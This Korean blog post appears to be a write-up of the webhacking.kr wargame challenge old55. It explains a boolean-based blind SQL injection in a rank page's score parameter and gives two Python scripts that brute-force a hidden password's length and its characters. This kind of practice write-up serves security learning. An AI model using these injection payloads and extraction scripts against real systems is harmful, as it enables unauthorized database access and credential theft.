webhacking.kr - old55
2021. 4. 12. 04:25ㆍWarGame/webhaking.kr
처음 접속하면 위와 같이 마우스가 움직일때 같이 움직여서 점수를 얻을 수 있는 페이지가 나옵니다.
여기서 rank 페이지에 접속을 시도해보면
위와 같이 페이지가 나오고, 맨 아래에 쿼리문을 보여줍니다.
아마 sqli 가 동작할 듯 합니다.
score를 누르게 되면 위와 같이 get인자로 전송해줍니다.
여기서 sqli를 테스트해보면
참 일때는 jandi,
거짓일때는 피터팬을 출력합니다.
따라서 이를 이용해서 테이블 명을 구하기 위해
limit과 procedure analyse() 를 엮어서 테이블 명을 추출해주고,
if문을 이용해서 해당 password의 문자열 길이를 구해줍니다.
import requests
import string
#https://webhacking.kr/challenge/web-31/rank.php?score=if(length(p4ssw0rd_1123581321)=31,%202,%201)
URL = "https://webhacking.kr/challenge/web-31/rank.php?score=if(length(p4ssw0rd_1123581321)="
for i in range(0, 100) :
res = requests.get(URL+str(i)+ ",2,1)")
print(i)
if "jandi" in res.text :
print("length is " + str(i))
31자리의 문자열의 길이를 구하면
아래와 같이 password를 구하는 페이로드를 작성해서 password를 구합니다.
import requests
import string
password = ""
word_list = string.ascii_uppercase + string.punctuation[::-1]
URL = "https://webhacking.kr/challenge/web-31/rank.php?score=if(ord(right(left(p4ssw0rd_1123581321,"
for i in range(1, 32) :
for j in range(0, 133) :
print(j)
pay = URL+str(i)+"), 1))="+str(j)+",2,1)"
res = requests.get(pay)
if "jandi" in res.text :
print(str(i)+ "th password = " + str(j))
password += str(chr(j))
break
print(password)
'WarGame > webhaking.kr' 카테고리의 다른 글
webhacking.kr - old50 (0) | 2021.04.14 |
---|---|
webhacking.kr - old28 (0) | 2021.04.13 |
webhacking.kr - old22 (0) | 2021.04.11 |
webhacking.kr - old52 (0) | 2021.04.10 |
webhacking.kr - old60 (0) | 2021.04.07 |